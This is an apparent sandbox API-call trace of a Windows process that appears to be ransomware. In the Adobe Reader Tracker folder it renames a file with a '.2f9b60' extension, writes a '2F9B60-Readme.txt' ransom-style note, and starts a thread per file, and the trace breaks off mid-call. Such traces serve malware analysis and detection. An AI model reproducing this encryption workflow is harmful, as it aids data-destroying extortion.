[0186.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42584d60) returned 1 [0186.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42581150) returned 1 [0186.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0186.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a60) returned 1 [0186.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1ce5d0b0 [0186.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a60 [0186.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0186.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9740 [0186.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9740) returned 1 [0186.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1ce5d0f0 [0186.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9740 [0186.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9770 [0186.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9770) returned 1 [0186.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0186.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a60) returned 1 [0186.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x43100cc0 [0186.429] SetFilePointerEx (in: hFile=0x2598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.429] WriteFile (in: hFile=0x2598, lpBuffer=0x43100cc0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3559f870, lpOverlapped=0x0 | out: lpBuffer=0x43100cc0*, lpNumberOfBytesWritten=0x3559f870*=0x112, lpOverlapped=0x0) returned 1 [0200.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0200.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aee0 [0200.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1aee0) returned 1 [0200.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aee0 [0200.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aeb0 [0200.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1adf0 [0200.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1adf0) returned 1 [0200.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0200.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ced1de0 [0200.745] sprintf (in: _Dest=0x1ced1de0, _Format="%c%c" | out: _Dest="0f") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1de2, _Format="%c%c" | out: _Dest="5b") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1de4, _Format="%c%c" | out: _Dest="3b") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1de6, _Format="%c%c" | out: _Dest="20") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1de8, _Format="%c%c" | out: _Dest="02") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1dea, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1dec, _Format="%c%c" | out: _Dest="ee") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1dee, _Format="%c%c" | out: _Dest="dc") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1df0, _Format="%c%c" | out: _Dest="cc") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1df2, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1df4, _Format="%c%c" | out: _Dest="82") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1df6, _Format="%c%c" | out: _Dest="ab") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1df8, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1dfa, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1dfc, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1dfe, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1e00, _Format="%c%c" | out: _Dest="68") returned 2 [0200.745] sprintf (in: _Dest=0x1ced1e02, _Format="%c%c" | out: _Dest="b1") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e04, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e06, _Format="%c%c" | out: _Dest="36") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e08, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e0a, _Format="%c%c" | out: _Dest="d0") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e0c, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e0e, _Format="%c%c" | out: _Dest="ba") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e10, _Format="%c%c" | out: _Dest="86") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e12, _Format="%c%c" | out: _Dest="77") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e14, _Format="%c%c" | out: _Dest="ed") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e16, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e18, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e1a, _Format="%c%c" | out: _Dest="6b") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e1c, _Format="%c%c" | out: _Dest="4c") returned 2 [0200.746] sprintf (in: _Dest=0x1ced1e1e, _Format="%c%c" | out: _Dest="a7") returned 2 [0200.746] RtlInitAnsiString (in: DestinationString=0x3559f8e8, SourceString="0f5b3b20022deedccc9c82abb6fb3c5d68b17a361cd0b7ba8677edadcf6b4ca7" | out: DestinationString="0f5b3b20022deedccc9c82abb6fb3c5d68b17a361cd0b7ba8677edadcf6b4ca7") [0200.746] RtlAnsiStringToUnicodeString (in: DestinationString=0x3559f8b8, SourceString="0f5b3b20022deedccc9c82abb6fb3c5d68b17a361cd0b7ba8677edadcf6b4ca7", AllocateDestinationString=1 | out: DestinationString="0f5b3b20022deedccc9c82abb6fb3c5d68b17a361cd0b7ba8677edadcf6b4ca7") returned 0x0 [0200.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x43106720 [0200.747] wcscat (in: _Dest=0x431eb640, _Source="0f5b3b20022deedc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\0f5b3b20022deedc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\0f5b3b20022deedc" [0200.747] wcscat (in: _Dest=0x431eb640, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\0f5b3b20022deedc.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\0f5b3b20022deedc.2f9b60" [0200.747] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\0f5b3b20022deedc.2f9b60", NtPathName=0x3559f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\0f5b3b20022deedc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x119170 [0209.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119170) returned 1 [0209.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43200300) returned 1 [0209.482] NtQueryInformationFile (in: FileHandle=0x2598, IoStatusBlock=0x3559f8f8, FileInformation=0x3559f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3559f8f8, FileInformation=0x3559f908) returned 0x0 [0209.482] NtSetInformationFile (FileHandle=0x2598, IoStatusBlock=0x3559f8f8, FileInformation=0x3559f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eb640) returned 1 [0216.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43106720) returned 1 [0216.605] FlushFileBuffers (hFile=0x2598) returned 1 [0216.644] CloseHandle (hObject=0x2598) returned 1 [0220.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431e34e0 [0220.273] wcscpy (in: _Dest=0x431e34e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0220.273] wcscat (in: _Dest=0x431e34e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2F9B60-Readme.txt" [0220.274] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\2f9b60-readme.txt")) returned 0xffffffff [0220.274] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d1c [0224.177] WriteFile (in: hFile=0x1d1c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3559f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3559f7b0*=0xba9, lpOverlapped=0x0) returned 1 [0225.590] CloseHandle (hObject=0x1d1c) returned 1 [0226.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e34e0) returned 1 [0226.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0226.767] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="bl.gif", cAlternateFileName="")) returned 1 [0226.767] wcscmp (_String1="bl.gif", _String2=".") returned 1 [0226.767] wcscmp (_String1="bl.gif", _String2="..") returned 1 [0226.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b430 [0226.767] wcscpy (in: _Dest=0x1b86b430, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0226.767] wcscat (in: _Dest=0x1b86b430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0226.767] wcscat (in: _Dest=0x1b86b430, _Source="bl.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" [0227.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e64 [0227.131] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="br.gif", cAlternateFileName="")) returned 1 [0227.131] wcscmp (_String1="br.gif", _String2=".") returned 1 [0227.131] wcscmp (_String1="br.gif", _String2="..") returned 1 [0227.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85d2f0 [0227.132] wcscpy (in: _Dest=0x1b85d2f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.132] wcscat (in: _Dest=0x1b85d2f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.132] wcscat (in: _Dest=0x1b85d2f0, _Source="br.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" [0227.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04 [0227.133] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1 [0227.133] wcscmp (_String1="create_form.gif", _String2=".") returned 1 [0227.133] wcscmp (_String1="create_form.gif", _String2="..") returned 1 [0227.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205d7d0 [0227.134] wcscpy (in: _Dest=0x4205d7d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.134] wcscat (in: _Dest=0x4205d7d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.134] wcscat (in: _Dest=0x4205d7d0, _Source="create_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" [0227.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d7d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb4 [0227.135] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1 [0227.135] wcscmp (_String1="distribute_form.gif", _String2=".") returned 1 [0227.135] wcscmp (_String1="distribute_form.gif", _String2="..") returned 1 [0227.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205c790 [0227.135] wcscpy (in: _Dest=0x4205c790, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.135] wcscat (in: _Dest=0x4205c790, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.135] wcscat (in: _Dest=0x4205c790, _Source="distribute_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" [0227.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xefc [0227.137] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_all.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1 [0227.137] wcscmp (_String1="email_all.gif", _String2=".") returned 1 [0227.137] wcscmp (_String1="email_all.gif", _String2="..") returned 1 [0227.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cfb0 [0227.137] wcscpy (in: _Dest=0x4205cfb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.137] wcscat (in: _Dest=0x4205cfb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.137] wcscat (in: _Dest=0x4205cfb0, _Source="email_all.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" [0227.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0227.138] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1 [0227.138] wcscmp (_String1="email_initiator.gif", _String2=".") returned 1 [0227.138] wcscmp (_String1="email_initiator.gif", _String2="..") returned 1 [0227.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d690 [0227.138] wcscpy (in: _Dest=0x4205d690, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.138] wcscat (in: _Dest=0x4205d690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.138] wcscat (in: _Dest=0x4205d690, _Source="email_initiator.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" [0227.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e68 [0227.139] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="ended_review_or_form.gif", cAlternateFileName="ENDED_~1.GIF")) returned 1 [0227.139] wcscmp (_String1="ended_review_or_form.gif", _String2=".") returned 1 [0227.139] wcscmp (_String1="ended_review_or_form.gif", _String2="..") returned 1 [0227.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43132560 [0227.140] wcscpy (in: _Dest=0x43132560, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.140] wcscat (in: _Dest=0x43132560, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.140] wcscat (in: _Dest=0x43132560, _Source="ended_review_or_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" [0227.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43132560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc2c [0227.141] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1 [0227.142] wcscmp (_String1="end_review.gif", _String2=".") returned 1 [0227.142] wcscmp (_String1="end_review.gif", _String2="..") returned 1 [0227.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d370 [0227.142] wcscpy (in: _Dest=0x4205d370, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.142] wcscat (in: _Dest=0x4205d370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.142] wcscat (in: _Dest=0x4205d370, _Source="end_review.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" [0227.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc30 [0227.144] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1 [0227.144] wcscmp (_String1="forms_distributed.gif", _String2=".") returned 1 [0227.144] wcscmp (_String1="forms_distributed.gif", _String2="..") returned 1 [0227.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x43132400 [0227.144] wcscpy (in: _Dest=0x43132400, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.144] wcscat (in: _Dest=0x43132400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.144] wcscat (in: _Dest=0x43132400, _Source="forms_distributed.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" [0227.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43132400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc38 [0227.145] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: 